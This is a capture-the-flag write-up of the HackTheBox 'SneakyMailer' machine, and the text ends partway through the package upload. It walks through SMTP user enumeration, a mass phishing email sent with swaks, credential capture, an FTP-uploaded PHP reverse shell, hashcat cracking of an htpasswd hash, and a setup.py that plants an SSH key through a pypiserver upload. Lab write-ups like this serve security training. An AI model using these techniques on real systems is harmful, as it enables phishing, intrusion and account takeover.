Posts HackTheBox - SneakyMailer
Post
Cancel

HackTheBox - SneakyMailer

BoxInfo

Summary

  • Using swaks, we send phishing email to all the employee email IDs found on the webpage and get a http request with user creds.
  • We configure evolution (an email client) to read the emails of this user and find some more creds in his emails.
  • We login to FTP using these creds and upload a php file to get a reverse shell.
  • We exploit the pypiserver by uploading a package that writes our SSH public key to the authorized_keys file.
  • We can run pip3 as root without password, we use the exploit for pip3 from gtfobins and get root shell.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
p0i5on@parrot:~$ nmap -sC -sV 10.10.10.197
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-11 16:12 EDT
Nmap scan report for 10.10.10.197
Host is up (0.18s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ACL IDLE ACL2=UNION OK NAMESPACE IMAP4rev1 UIDPLUS ENABLE QUOTA UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT completed SORT CAPABILITY CHILDREN STARTTLS THREAD=REFERENCES
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL IDLE AUTH=PLAIN ACL2=UNION OK NAMESPACE IMAP4rev1 UIDPLUS ENABLE QUOTA UTF8=ACCEPTA0001 THREAD=ORDEREDSUBJECT completed SORT CAPABILITY CHILDREN THREAD=REFERENCES
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.97 seconds

Port 8080

We just get a nginx welcome page on port 8080

I tried bruteforcing for directory using gobuster but didn’t got anything

Port 80

/etc/hosts

We get redirected to sneakycorp.htb, so lets add this to /etc/hosts file

index.php

The home page looks like we are already logged in

We have 4 messages which are not completely visible but we can see them in the source code although there was nothing too interesting in them

1
2
3
4
Hey! My name is Bradley Greer, I am your personal code tester
Talk with Bradley, he is your personal tester
Excellent job with those modules,hope you keep working this way
Hello! I am the owner of the company, you are going to report to me now on

pypi/register.php

I found this comment in the source code

The /pypi/register.php page didn’t seem to do anything (maybe its just a rabbit hole)

team.php

There is another page on the website team.php which contains the info of employees including their emails

I extracted all the emails using curl and grep

1
curl sneakycorp.htb/team.php | grep sneakymailer.htb | tr -d ' ' | cut -c 5- | rev | cut -c 6- | rev > emails.txt

Virtual Host

We can use gobuster to find any vhosts on the machine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p0i5on@parrot:~$ /opt/gobuster/gobuster vhost -u http://sneakycorp.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://sneakycorp.htb
[+] Threads:      10
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/07/15 16:30:51 Starting gobuster
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]

we found dev.sneakycorp.htb, so we need to add this to /etc/hosts as well
although it is a bit different than sneakycorp.htb but there are no extra webpages in it

Verify email IDs

VRFY command

I opened a netcat connection to port 25 and used SMTP command VRFY to check if the email IDs actually exist

1
2
3
4
5
6
7
p0i5on@parrot:~$ nc -nv 10.10.10.197 25
(UNKNOWN) [10.10.10.197] 25 (smtp) open
220 debian ESMTP Postfix (Debian/GNU)
VRFY airisatou@sneakymailer.htb
252 2.0.0 airisatou@sneakymailer.htb
VRFY doesNotExist@sneakymailer.htb
550 5.1.1 <doesNotExist@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table

for airisatou@sneakymailer.htb it gives 252 2.0.0 code which means it exists and for doesNotExist@sneakymailer.htb which does not exist it gives 550 5.1.1 code

netcat

we can just paste all the verify queries and it will give all the results at once

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p0i5on@parrot:~$ nc -nv 10.10.10.197 25
(UNKNOWN) [10.10.10.197] 25 (smtp) open
220 debian ESMTP Postfix (Debian/GNU)
VRFY tigernixon@sneakymailer.htb
VRFY garrettwinters@sneakymailer.htb
...
...
VRFY sulcud@sneakymailer.htb 
VRFY donnasnider@sneakymailer.htb
252 2.0.0 tigernixon@sneakymailer.htb
252 2.0.0 garrettwinters@sneakymailer.htb
...
...
252 2.0.0 sulcud@sneakymailer.htb
252 2.0.0 donnasnider@sneakymailer.htb

all the emails give 252 2.0.0 code which means all of them are valid emails

Phishing

The name SneakyMailer as well as the fishing logo of this box suggests that phishing is the way to go
as we have the email ID of the employees, we can send them phishing email with a link to our machine
we will do this using SMTP commands as well as using a tool called Swaks (Swiss Army Knife for SMTP)

SMTP commands

We can find the SMTP commands to send an email with a simple google search

[https://www.thomas-krenn.com/en/wiki/Test_TCP_Port_25%28smtp%29_access_with_telnet](https://www.thomas-krenn.com/en/wiki/Test_TCP_Port_25%28smtp%29_access_with_telnet)

1
2
3
4
5
6
7
8
9
10
11
12
HELO 10.10.10.197
MAIL FROM: anyone@anything.com
RCPT TO: tigernixon@sneakymailer.htb
RCPT TO: garrettwinters@sneakymailer.htb
...
...
RCPT TO: sulcud@sneakymailer.htb 
RCPT TO: donnasnider@sneakymailer.htb
DATA
Visit http://10.10.14.8:8888
.
QUIT

connect to the machine on port 25 using netcat and paste the above SMTP commands to send the phishing email to all the employees
if some employee clicks on the link in the email we should receive the request, so start the netcat listener on port 8888 before sending the email

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p0i5on@parrot:~$ nc -nv 10.10.10.197 25                                                                   
(UNKNOWN) [10.10.10.197] 25 (smtp) open                                                                           
220 debian ESMTP Postfix (Debian/GNU)
HELO 10.10.10.197
MAIL FROM: anyone@anything.com
RCPT TO: tigernixon@sneakymailer.htb
RCPT TO: garrettwinters@sneakymailer.htb
...
...
RCPT TO: sulcud@sneakymailer.htb 
RCPT TO: donnasnider@sneakymailer.htb
DATA
Visit http://10.10.14.8:8888
.
QUIT
250 debian
250 2.1.0 Ok
250 2.1.5 Ok
250 2.1.5 Ok
...
...
250 2.1.5 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as B2D0B24667
221 2.0.0 Bye

we get a http request from Paul Byrd that also contains his password

1
2
3
4
5
6
7
8
9
10
11
12
13
p0i5on@parrot:~$ nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.14.2] from sneakycorp.htb [10.10.10.197] 51594
POST / HTTP/1.1
Host: 10.10.14.2:8888
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

URL decoder

We need to URL decode the data in the request received to get the plain text password

https://www.urldecoder.org/

1
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Swaks

Rather than using SMTP commands we can use swaks to easily send the phishing email

1
swaks --server sneakycorp.htb --body "Visit http://10.10.14.8:8888" --to tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,....,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
p0i5on@parrot:~$ swaks --server sneakycorp.htb --body "Visit http://10.10.14.8:8888" -t tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,ashtoncox@sneakymailer.htb,cedrickelly@sneakymailer.htb,airisatou@sneakymailer.htb,briellewilliamson@sneakymailer.htb,herrodchandler@sneakymailer.htb,rhonadavidson@sneakymailer.htb,colleenhurst@sneakymailer.htb,sonyafrost@sneakymailer.htb,jenagaines@sneakymailer.htb,quinnflynn@sneakymailer.htb,chardemarshall@sneakymailer.htb,haleykennedy@sneakymailer.htb,tatyanafitzpatrick@sneakymailer.htb,michaelsilva@sneakymailer.htb,paulbyrd@sneakymailer.htb,glorialittle@sneakymailer.htb,bradleygreer@sneakymailer.htb,dairios@sneakymailer.htb,jenettecaldwell@sneakymailer.htb,yuriberry@sneakymailer.htb,caesarvance@sneakymailer.htb,doriswilder@sneakymailer.htb,angelicaramos@sneakymailer.htb,gavinjoyce@sneakymailer.htb,jenniferchang@sneakymailer.htb,brendenwagner@sneakymailer.htb,fionagreen@sneakymailer.htb,shouitou@sneakymailer.htb,michellehouse@sneakymailer.htb,sukiburks@sneakymailer.htb,prescottbartlett@sneakymailer.htb,gavincortez@sneakymailer.htb,martenamccray@sneakymailer.htb,unitybutler@sneakymailer.htb,howardhatfield@sneakymailer.htb,hopefuentes@sneakymailer.htb,vivianharrell@sneakymailer.htb,timothymooney@sneakymailer.htb,jacksonbradshaw@sneakymailer.htb,olivialiang@sneakymailer.htb,brunonash@sneakymailer.htb,sakurayamamoto@sneakymailer.htb,thorwalton@sneakymailer.htb,finncamacho@sneakymailer.htb,sergebaldwin@sneakymailer.htb,zenaidafrank@sneakymailer.htb,zoritaserrano@sneakymailer.htb,jenniferacosta@sneakymailer.htb,carastevens@sneakymailer.htb,hermionebutler@sneakymailer.htb,laelgreer@sneakymailer.htb,jonasalexander@sneakymailer.htb,shaddecker@sneakymailer.htb,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb
=== Trying sneakycorp.htb:25...
=== Connected to sneakycorp.htb.
<-  220 debian ESMTP Postfix (Debian/GNU)
 -> EHLO kali
<-  250-debian
<-  250-PIPELINING
<-  250-SIZE 10240000
<-  250-VRFY
<-  250-ETRN
<-  250-STARTTLS
<-  250-ENHANCEDSTATUSCODES
<-  250-8BITMIME
<-  250-DSN
<-  250-SMTPUTF8
<-  250 CHUNKING
 -> MAIL FROM:<kali@kali>
<-  250 2.1.0 Ok
 -> RCPT TO:<tigernixon@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> RCPT TO:<garrettwinters@sneakymailer.htb>
<-  250 2.1.5 Ok
...
...
 -> RCPT TO:<sulcud@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> RCPT TO:<donnasnider@sneakymailer.htb>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Wed, 15 Jul 2020 02:19:13 -0400
 -> To: tigernixon@sneakymailer.htb,garrettwinters@sneakymailer.htb,ashtoncox@sneakymailer.htb,cedrickelly@sneakymailer.htb,airisatou@sneakymailer.htb,briellewilliamson@sneakymailer.htb,herrodchandler@sneakymailer.htb,rhonadavidson@sneakymailer.htb,colleenhurst@sneakymailer.htb,sonyafrost@sneakymailer.htb,jenagaines@sneakymailer.htb,quinnflynn@sneakymailer.htb,chardemarshall@sneakymailer.htb,haleykennedy@sneakymailer.htb,tatyanafitzpatrick@sneakymailer.htb,michaelsilva@sneakymailer.htb,paulbyrd@sneakymailer.htb,glorialittle@sneakymailer.htb,bradleygreer@sneakymailer.htb,dairios@sneakymailer.htb,jenettecaldwell@sneakymailer.htb,yuriberry@sneakymailer.htb,caesarvance@sneakymailer.htb,doriswilder@sneakymailer.htb,angelicaramos@sneakymailer.htb,gavinjoyce@sneakymailer.htb,jenniferchang@sneakymailer.htb,brendenwagner@sneakymailer.htb,fionagreen@sneakymailer.htb,shouitou@sneakymailer.htb,michellehouse@sneakymailer.htb,sukiburks@sneakymailer.htb,prescottbartlett@sneakymailer.htb,gavincortez@sneakymailer.htb,martenamccray@sneakymailer.htb,unitybutler@sneakymailer.htb,howardhatfield@sneakymailer.htb,hopefuentes@sneakymailer.htb,vivianharrell@sneakymailer.htb,timothymooney@sneakymailer.htb,jacksonbradshaw@sneakymailer.htb,olivialiang@sneakymailer.htb,brunonash@sneakymailer.htb,sakurayamamoto@sneakymailer.htb,thorwalton@sneakymailer.htb,finncamacho@sneakymailer.htb,sergebaldwin@sneakymailer.htb,zenaidafrank@sneakymailer.htb,zoritaserrano@sneakymailer.htb,jenniferacosta@sneakymailer.htb,carastevens@sneakymailer.htb,hermionebutler@sneakymailer.htb,laelgreer@sneakymailer.htb,jonasalexander@sneakymailer.htb,shaddecker@sneakymailer.htb,sulcud@sneakymailer.htb,donnasnider@sneakymailer.htb
 -> From: kali@kali
 -> Subject: test Wed, 15 Jul 2020 02:19:13 -0400
 -> Message-Id: <20200715021913.007878@kali>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 ->
 -> Visit http://10.10.14.8:8888
 ->
 ->
 -> .
<-  250 2.0.0 Ok: queued as 07F5424696
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Read Emails

Now that we have Paul’s password we can try to read his emails
we will use both IMAP commands and a popular email client evolution to read the emails

IMAP commands

I googled for IMAP commands and found this really helpful

https://busylog.net/telnet-imap-commands-note/

1
2
3
4
5
6
7
a LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
b LIST "" "*"
c STATUS "INBOX.Sent Items" MESSAGES
d SELECT "INBOX.Sent Items"
x SEARCH FROM "Paul"
y FETCH 1 BODY[]
z FETCH 2 BODY[]

I used alphabet characters at the beginning of every command, it can be any random string you want

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
p0i5on@parrot:~$ nc -nv 10.10.10.197 143
(UNKNOWN) [10.10.10.197] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
a LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
a OK LOGIN Ok.

b LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
b OK LIST completed

c STATUS "INBOX" MESSAGES
* STATUS "INBOX" (MESSAGES 0)
c OK STATUS Completed.

d STATUS "INBOX.Trash" MESSAGES
* STATUS "INBOX.Trash" (MESSAGES 0)
d OK STATUS Completed.

e STATUS "INBOX.Sent Items" MESSAGES
* STATUS "INBOX.Sent Items" (MESSAGES 2)
e OK STATUS Completed.

f SELECT "INBOX.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
f OK [READ-WRITE] Ok

h FETCH 1 BODY[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
Importance: normal
X-Priority: 3
Content-Type: multipart/alternative;
        boundary="_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_"

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="utf-8"

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" xmlns:w=3D"urn:sc=
hemas-microsoft-com:office:word" xmlns:m=3D"http://schemas.microsoft.com/of=
fice/2004/12/omml" xmlns=3D"http://www.w3.org/TR/REC-html40"><head><meta ht=
tp-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8"><meta name=
=3DGenerator content=3D"Microsoft Word 15 (filtered medium)"><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0in;
        margin-bottom:.0001pt;
        font-size:11.0pt;
        font-family:"Calibri",sans-serif;}
.MsoChpDefault
        {mso-style-type:export-only;}
@page WordSection1
        {size:8.5in 11.0in;
        margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
        {page:WordSection1;}
--></style></head><body lang=3DEN-US link=3Dblue vlink=3D"#954F72"><div cla=
ss=3DWordSection1><p class=3DMsoNormal>Hello administrator, I want to chang=
e this password for the developer account</p><p class=3DMsoNormal><o:p>&nbs=
p;</o:p></p><p class=3DMsoNormal>Username: developer</p><p class=3DMsoNorma=
l>Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C</p><p class=3DMsoNorm=
al><o:p>&nbsp;</o:p></p><p class=3DMsoNormal>Please notify me when you do i=
t </p></div></body></html>=

--_21F4C0AC-AA5F-47F8-9F7F-7CB64B1169AD_--
)
h OK FETCH completed.

i FETCH 2 BODY[]
* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
 Thunderbird/68.8.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

)
i OK FETCH completed.

We found 2 emails in the Sent Items folder and one of them contains password for developer

1
2
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Evolution

If we don’t want to use IMAP commands, we can use an email client like evolution, install using sudo apt install evolution
start and configure evolution using Paul’s creds and then we can see his emails

Reverse Shell

FTP

We can login to ftp using the developer’s password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
p0i5on@parrot:~$ ftp 10.10.10.197
Connected to 10.10.10.197.
220 (vsFTPd 3.0.3)
Name (10.10.10.197:p0i5on): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 13 18:44 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x    8 0        1001         4096 Jul 13 18:44 .
drwxr-xr-x    3 0        0            4096 Jun 23 08:15 ..
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.

we have write access in the dev directory so we can upload a reverse shell

1
2
3
4
5
6
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
31 bytes sent in 0.00 secs (1.0559 MB/s)

NetCat

start a netcat listener and visit dev.sneakycorp.htb/shell.php to get a reverse shell
after getting a shell we can switch user to developer using the same password we used for FTP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p0i5on@parrot:~$ nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.14.8] from sneakycorp.htb [10.10.10.197] 37994
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
 16:40:03 up  6:55,  0 users,  load average: 0.35, 0.42, 0.35
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@sneakymailer:/$ su - developer
su - developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

developer@sneakymailer:~$ id
id
uid=1001(developer) gid=1001(developer) groups=1001(developer)

we have 2 users in /home, user low contains the user.txt file but we can’t read it
there is also .ssh directory in his home but no SSH keys

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
developer@sneakymailer:~$ ls -al /home
total 16
drwxr-xr-x  4 root  root  4096 May 14 17:10 .
drwxr-xr-x 18 root  root  4096 May 14 05:30 ..
drwxr-xr-x  8 low   low   4096 Jun  8 03:47 low
drwx------  5 vmail vmail 4096 May 19 21:10 vmail
developer@sneakymailer:~$ ls -al /home/low
total 48
drwxr-xr-x 8 low  low  4096 Jun  8 03:47 .
drwxr-xr-x 4 root root 4096 May 14 17:10 ..
lrwxrwxrwx 1 root root    9 May 19 21:09 .bash_history -> /dev/null
-rw-r--r-- 1 low  low   220 May 14 05:46 .bash_logout
-rw-r--r-- 1 low  low  3526 May 14 05:46 .bashrc
drwxr-xr-x 3 low  low  4096 May 16 03:34 .cache
drwx------ 3 low  low  4096 May 14 13:21 .gnupg
drwxr-xr-x 3 low  low  4096 May 16 03:37 .local
dr-x------ 2 low  low  4096 May 16 03:30 .pip
-rw-r--r-- 1 low  low   807 May 14 05:46 .profile
drwxr-xr-x 2 low  low  4096 Jun  8 03:47 .ssh
-rwxr-x--- 1 root low    33 Jul 15 17:48 user.txt
drwxr-xr-x 6 low  low  4096 May 16 03:33 venv
developer@sneakymailer:~$ ls -al /home/low/.ssh
total 8
drwxr-xr-x 2 low low 4096 Jun  8 03:47 .
drwxr-xr-x 8 low low 4096 Jun  8 03:47 ..
-rw-r--r-- 1 low low    0 Jun  8 03:47 authorized_keys

pypi

pypi.sneakycorp.htb

1
2
3
4
5
6
7
8
developer@sneakymailer:/var/www$ ls -al
total 24
drwxr-xr-x  6 root root 4096 May 14 18:25 .
drwxr-xr-x 12 root root 4096 May 14 13:09 ..
drwxr-xr-x  3 root root 4096 Jun 23 08:15 dev.sneakycorp.htb
drwxr-xr-x  2 root root 4096 May 14 13:12 html
drwxr-xr-x  4 root root 4096 May 15 14:29 pypi.sneakycorp.htb
drwxr-xr-x  8 root root 4096 Jun 23 09:48 sneakycorp.htb

we found another vhost so lets add it to /etc/hosts
visiting pypi.sneakycorp.htb redirect us to sneakycorp.htb, so its probably hosted on port 8080 which is the only other open http port
we get a pypiserver welcome page

the two links to /packages and /simple require authentication

.htpasswd

We can read the .htpasswd file

1
2
3
4
5
6
7
8
9
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -al
total 20
drwxr-xr-x 4 root root     4096 May 15 14:29 .
drwxr-xr-x 6 root root     4096 May 14 18:25 ..
-rw-r--r-- 1 root root       43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages
drwxr-xr-x 6 root pypi     4096 May 14 18:25 venv
developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

we have the password hash for username pypi, lets try to crack it using HashCat

HashCat

First of all we need to know the type of hash, I just search for the hash signature on this website

https://hashcat.net/wiki/doku.php?id=example_hashes

its an Apache MD5 hash and we need to use m=1600 for hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p0i5on@parrot:~$ hashcat -a 0 -m 1600 $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ /usr/share/wordlists/rockyou.txt

$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Apache $apr1$ MD5, md5apr1, MD5 (APR)
Hash.Target......: $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
Time.Started.....: Tue Jul 14 05:48:12 2020 (5 secs)
Time.Estimated...: Tue Jul 14 05:48:17 2020 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   788.2 kH/s (10.01ms) @ Accel:256 Loops:250 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3645440/14344384 (25.41%)
Rejected.........: 0/3645440 (0.00%)
Restore.Point....: 3604480/14344384 (25.13%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: sp00ekatsim -> soghie
Hardware.Mon.#1..: Temp: 66c Util:  0% Core:1670MHz Mem:3504MHz Bus:8

HashCat cracked the hash in just 5 seconds –> pypi:soufianeelhaoui
If you don’t have a GPU, just append --force in the command but it will take more time

webpages

now that we have the creds, we can authenticate and see the content of the webpages
both the webpages were blank

pypiserver exploit

.pypirc

I searched about pypiserver and found out how to upload a package to the server
there is the link to the official docs that explains how to upload a package to a remote server

https://pypiserver.readthedocs.io/en/latest/README.html#uploading-packages-from-sources-remotely

as mentioned in the docs, we need to create a .pypirc file in the home directory

1
2
3
4
5
6
7
8
p0i5on@parrot:~$ cat .pypirc
[distutils]
index-servers = internal

[internal]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

setup.py

we also need to create a setup.py file that will be executed on the server for installation
using the setup.py file, we can write to /home/low/.ssh/authorized_keys and put our public key in it

here’s the link to the documentation for setting up the setup.py file

https://setuptools.readthedocs.io/en/latest/setuptools.html#basic-use

I used ssh-keygen to create new SSH keys and used the following setup.py script which writes my public key to authorized_keys file
the name and version of the package doesn’t matter, they can be anything you want

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from setuptools import setup, find_packages

try:
	with open('/home/low/.ssh/authorized_keys','a') as f:
		f.write("ssh-rsa AAAAB3NzaC.......YDC7a7I8ncVyae6k= p0i5on@parrot")
		f.close()
except:
	pass

setup(
	name="HelloWorld",
	version="0.1",
	packages=find_packages(),
)

we need to use try/except otherwise it will throw FileNotFound error

Upload package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
p0i5on@parrot:~$ python3 setup.py sdist upload -r internal
running sdist
running egg_info
creating HelloWorld.egg-info
writing HelloWorld.egg-info/PKG-INFO
writing dependency_links to HelloWorld.egg-info/dependency_links.txt
writing top-level names to HelloWorld.egg-info/top_level.txt
writing manifest file 'HelloWorld.egg-info/SOURCES.txt'
reading manifest file 'HelloWorld.egg-info/SOURCES.txt'
writing manifest file 'HelloWorld.egg-info/SOURCES.txt'
